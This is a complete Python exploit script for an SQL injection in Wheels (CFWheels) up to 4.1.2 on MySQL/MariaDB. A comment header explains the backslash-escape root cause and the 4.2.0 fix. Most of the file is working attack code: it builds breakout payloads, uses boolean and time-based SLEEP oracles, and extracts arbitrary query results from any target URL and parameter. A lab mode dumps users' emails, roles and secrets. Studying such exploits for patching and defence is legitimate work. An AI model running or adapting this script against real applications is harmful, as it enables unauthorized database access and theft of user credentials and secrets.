#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Syscallh00k/CVE-2026-111444 (see README for attribution/license)
#
# Exploit Title: Wheels (CFWheels) <= 4.1.2 - SQL Injection via Backslash Escape Breakout (MySQL/MariaDB)
# Date: 2026-10-16
# Exploit Author: [L] Labubus
# Vendor Homepage: https://wheels.dev
# Software Link: https://github.com/wheels-dev/wheels
# Version: Wheels <= 4.1.2 (fixed in 4.2.0)
# Tested on: Wheels 4.1.2 + Lucee 6 + MariaDB 11 (default sql_mode, NO_BACKSLASH_ESCAPES absent)
# CVE: CVE-2026-111444
# Advisory: https://github.com/wheels-dev/wheels/security/advisories/GHSA-mvr9-2h5x-w6cq
#
# Root cause
# ----------
# Wheels writes unbound values into the SQL text as quoted literals, escaping
# only single quotes (' -> '') in these paths:
#   * queries run with parameterize=false (opt-in), including its IN-list handling
#   * literals in a developer-written where= string that the WHERE parser does not
#     bind: BETWEEN ... AND ... bounds, function arguments, LIKE ... ESCAPE '...'
# On MySQL/MariaDB with the default sql_mode a backslash escapes the next char
# inside a string literal, so doubling quotes alone does not contain a value that
# ends in \' — the escaped quote closes the literal and the rest of the input
# becomes SQL.
#
#   input    : \' OR (PREDICATE) -- 
#   escaped  : \'' OR (PREDICATE) --        (' -> '')
#   literal  : '\'' OR (PREDICATE) -- '
#   parsed   : '<quote>' OR (PREDICATE) -- '   <- breakout
#
# Fixed in 4.2.0: MySQLModel.$inlineStringLiteral writes any value containing a
# backslash as a _utf8mb4 X'...' hex literal, immune to sql_mode.
#
# Usage
# -----
# Generic target (any Wheels app param that reaches an inline-literal path):
#   python cve_2026_111444.py -u "http://app.local/search" -p q --check
#   python cve_2026_111444.py -u "http://app.local/search" -p q --query "SELECT secret FROM users LIMIT 1"
#   python cve_2026_111444.py -u "http://app.local/search" -p q --time --query "SELECT user()"
#   python cve_2026_111444.py -u "http://app.local/search" -p q \
#       --template "email='{payload}' AND active=1" --post --data "x=1"
#
# Bundled lab (see lab/ for the vulnerable Wheels app + docker compose):
#   python cve_2026_111444.py --lab http://127.0.0.1:8080 --check
#   python cve_2026_111444.py --lab http://127.0.0.1:8080 --dump-users
#
# Options: --time forces SLEEP-based oracle, --proxy routes via burp, --sleep
# sets SLEEP seconds, --max-len caps extraction length.

import argparse
import json
import sys
import time
from urllib.parse import urlencode, urljoin, urlsplit, urlunsplit

try:
    import requests
    HAVE_REQUESTS = True
except ImportError:
    HAVE_REQUESTS = False
    import urllib.request

BANNER = r"""
  _       __    __  ____    ____     ___      __  __    __  __    __  __    ____
 | |     / /   / / / __ \  / __ \   / _ \    |  \/  |  |  \/  |  |  \/  |  / __ \
 | | /| / /_  / / / /_/ / / / / /  / /_\ \   | |\/| |  | |\/| |  | |\/| | / / / /
 | |/ |/ /\ \/ / / _, _/ / /_/ /  / /_/ /   | |  | |  | |  | |  | |  | |/ /_/ /
 |__/|__/  \__/ /_/ |_|  \____/  /_____/    |_|  |_|  |_|  |_|  |_|  |_|\____/
  Wheels <= 4.1.2 Backslash-Escape SQL Injection (MySQL/MariaDB)
"""


class Resp:
    def __init__(self, status_code, body):
        self.status_code = status_code
        self.text = body

    def json(self):
        return json.loads(self.text)


class Session:
    """requests if present, urllib otherwise."""

    def __init__(self, proxies=None):
        self.headers = {"User-Agent": "Mozilla/5.0 (CVE-2026-111444)"}
        self.proxies = proxies
        if HAVE_REQUESTS:
            self._s = requests.Session()
            if proxies:
                self._s.proxies.update({"http": proxies, "https": proxies})
        else:
            handlers = []
            if proxies:
                handlers.append(urllib.request.ProxyHandler({"http": proxies, "https": proxies}))
            self._opener = urllib.request.build_opener(*handlers)

    def request(self, method, url, data=None, timeout=15):
        if HAVE_REQUESTS:
            r = self._s.request(method, url, data=data, timeout=timeout)
            return Resp(r.status_code, r.text)
        body = urlencode(data).encode() if data else None
        req = urllib.request.Request(url, data=body, headers=self.headers, method=method)
        with self._opener.open(req, timeout=timeout) as r:
            return Resp(r.status, r.read().decode("utf-8", "replace"))


# -------------------------------------------------------------- payload kit
def breakout(predicate):
    """The core breakout value. Escape order: framework doubles quotes first,
    MySQL then reads \' as a quoted quote and closes the literal."""
    return "\\' OR (%s) -- " % predicate


def payload_scalar(predicate):
    return breakout(predicate)


def payload_inlist(predicate):
    """For an IN (...) list: supply a valid first element, then break out of
    the last quoted element."""
    return "1,%s" % breakout(predicate)


def payload_between(predicate, valid_low="2020-01-01"):
    """For BETWEEN 'a' AND 'b': break out of the second (high) bound. The low
    bound is also inlined, so keep it a valid literal."""
    return valid_low, breakout(predicate)


def payload_funcarg(predicate):
    return breakout(predicate)


def payload_escape(predicate):
    return breakout(predicate)


def timewrap(predicate, seconds=2.5):
    return "IF((%s),SLEEP(%s),0)" % (predicate, seconds)


# ------------------------------------------------------------------- exploit
class WheelsSQLi:
    def __init__(self, url, param=None, method="GET", data=None, template=None,
                 proxy=None, sleep_sec=2.5, max_len=512, timeout=15):
        self.url = url
        self.param = param
        self.method = method.upper()
        self.data = data or {}
        self.template = template  # optional raw template with {payload} marker
        self.session = Session(proxies=proxy)
        self.sleep_sec = sleep_sec
        self.max_len = max_len
        self.timeout = timeout
        self.mode = "bool"

    # ------------------------------------------------------------- transport
    def send(self, value):
        if self.template:
            body_value = self.template.replace("{payload}", value)
            if self.method == "GET":
                sep = "&" if "?" in self.url else "?"
                return self.session.request("GET", self.url + sep + body_value, timeout=self.timeout)
            data = dict(self.data)
            # the template is the value of the vulnerable parameter
            key = self.param or "q"
            data[key] = body_value
            return self.session.request("POST", self.url, data=data, timeout=self.timeout)

        if self.method == "GET":
            parts = urlsplit(self.url)
            query = dict(self.data)
            query[self.param] = value
            for k, v in query.items():
                query[k] = str(v)
            new_url = urlunsplit((parts.scheme, parts.netloc, parts.path,
                                  urlencode(query), parts.fragment))
            return self.session.request("GET", new_url, timeout=self.timeout)

        data = dict(self.data)
        data[self.param] = value
        return self.session.request("POST", self.url, data=data, timeout=self.timeout)

    def rows_in_response(self, resp):
        """Heuristic: does the response carry data? Empty JSON list/object or a
        redirect to an empty page counts as no data."""
        text = resp.text.strip()
        if not text:
            return False
        for empty in ("[]", "{}", "null", "false"):
            if text == empty:
                return False
        return True

    def hit(self, predicate):
        value = breakout(predicate)
        t0 = time.monotonic()
        try:
            r = self.send(value)
        except Exception as e:
            sys.exit(f"[!] request failed: {e}")
        elapsed = time.monotonic() - t0
        return self.rows_in_response(r), elapsed, r.status_code

    def oracle(self, predicate):
        cond = timewrap(predicate, self.sleep_sec) if self.mode == "time" else predicate
        has_rows, elapsed, status = self.hit(cond)
        if self.mode == "time":
            return elapsed >= self.sleep_sec * 0.9
        return has_rows

    def verify(self):
        true_rows, _, _ = self.hit("1=1")
        false_rows, _, _ = self.hit("1=0")
        if true_rows and not false_rows:
            self.mode = "bool"
            print("[+] boolean oracle verified (data vs no data)")
            return True
        self.mode = "time"
        print("[!] boolean oracle unreliable, using time-based SLEEP oracle")
        return True

    # ---------------------------------------------------------- extraction
    def extract_char(self, expr, pos):
        lo, hi = 0, 127
        while lo < hi:
            mid = (lo + hi) // 2
            if self.oracle(f"ASCII(SUBSTR(({expr}),{pos},1))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        return lo

    def extract_value(self, expr, label="value"):
        out = []
        for pos in range(1, self.max_len + 1):
            c = self.extract_char(expr, pos)
            if c == 0:
                break
            out.append(chr(c))
            sys.stdout.write(f"\r[*] {label}: {''.join(out)}")
            sys.stdout.flush()
        sys.stdout.write("\n")
        return "".join(out)

    def extract_int(self, expr, upper=1 << 20):
        lo, hi = 0, upper
        while lo < hi:
            mid = (lo + hi) // 2
            if self.oracle(f"({expr})>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        return lo

    # ------------------------------------------------------------------ lab
    def lab_sinks(self, base):
        b = base.rstrip("/")
        return {
            "parameterize=false scalar": f"{b}/lab/sink_paramfalse?q={{payload}}",
            "parameterize=false IN list": f"{b}/lab/sink_inlist?ids={{payload}}",
            "where= BETWEEN bound":     f"{b}/lab/sink_between?from=2020-01-01&to={{payload}}",
            "where= function argument": f"{b}/lab/sink_func?q={{payload}}",
            "where= LIKE ESCAPE":       f"{b}/lab/sink_escape?esc={{payload}}",
        }


def run_lab(base, args, exp):
    sinks = exp.lab_sinks(base)
    for name, tpl in sinks.items():
        print(f"\n=== {name} ===")
        e = WheelsSQLi(url=tpl.split("?")[0], template=tpl, method="GET",
                       proxy=args.proxy, sleep_sec=args.sleep, max_len=args.max_len)
        e.verify() if not args.time else setattr(e, "mode", "time")
        secret = e.extract_value("SELECT secret FROM users WHERE id=1", label="secret")
        print(f"[+] {name} -> secret: {secret}")


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-111444 Wheels backslash-escape SQLi")
    ap.add_argument("-u", "--url", help="target url (full url incl. path for GET/POST)")
    ap.add_argument("-p", "--param", help="vulnerable parameter name")
    ap.add_argument("--template", help="full request template with {payload} marker")
    ap.add_argument("--method", choices=["GET", "POST"], default="GET")
    ap.add_argument("--data", help="extra form params as k=v&k2=v2 (POST)")
    ap.add_argument("--proxy", help="http proxy, e.g. http://127.0.0.1:8080")
    ap.add_argument("--time", action="store_true", help="force time-based oracle")
    ap.add_argument("--sleep", type=float, default=2.5, help="SLEEP seconds in time mode")
    ap.add_argument("--max-len", type=int, default=512, help="max chars extracted per value")
    ap.add_argument("--check", action="store_true", help="verify injection only")
    ap.add_argument("--query", help="raw scalar SQL to extract, e.g. SELECT user()")
    ap.add_argument("--lab", metavar="BASE_URL", help="run against the bundled lab app")
    ap.add_argument("--dump-users", action="store_true", help="lab mode: dump the users table")
    args = ap.parse_args()

    print(BANNER)

    if args.lab:
        base = args.lab
        if args.dump_users:
            e = WheelsSQLi(url=f"{base.rstrip('/')}/lab/sink_paramfalse?q={{payload}}",
                           template=f"{base.rstrip('/')}/lab/sink_paramfalse?q={{payload}}",
                           proxy=args.proxy, sleep_sec=args.sleep, max_len=args.max_len)
            e.verify()
            n = e.extract_int("SELECT COUNT(*) FROM users")
            print(f"[+] users: {n}")
            for i in range(n):
                row = e.extract_value(
                    f"SELECT CONCAT_WS(0x09,id,email,role,secret) FROM users ORDER BY id LIMIT {i},1",
                    label=f"user[{i}]")
                print(f"[+] {row}")
            return 0
        run_lab(base, args, None)
        return 0

    if not args.url:
        sys.exit("[!] need -u/--url or --lab")

    data = {}
    if args.data:
        for pair in args.data.split("&"):
            k, _, v = pair.partition("=")
            data[k] = v

    exp = WheelsSQLi(args.url, param=args.param, method=args.method, data=data,
                     template=args.template, proxy=args.proxy,
                     sleep_sec=args.sleep, max_len=args.max_len)
    if args.time:
        exp.mode = "time"
        print("[+] time-based oracle selected")
    else:
        exp.verify()

    if args.check:
        print("[+] CVE-2026-111444 confirmed: inline literal breakout is live")
        return 0

    if args.query:
        print(f"[+] query : {args.query}")
        print(f"[+] result: {exp.extract_value(args.query)}")
        return 0

    sys.exit("[!] nothing to do: pass --check, --query, or --lab")


if __name__ == "__main__":
    sys.exit(main())
